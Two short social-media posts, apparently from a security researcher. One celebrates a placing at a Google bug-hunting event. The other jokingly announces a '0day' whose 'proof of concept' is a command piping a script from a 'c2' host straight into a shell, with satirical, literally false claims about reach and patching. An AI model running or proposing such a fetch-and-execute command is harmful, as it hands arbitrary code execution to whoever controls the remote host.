I got second overall at the Google Bugswat in Singapore!! 🎉☺️
It was a talented group of almost 50 hackers so I am really proud of the findings and thankful to have been invited!
🚨New 0day inbound, curl2shell🚨
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched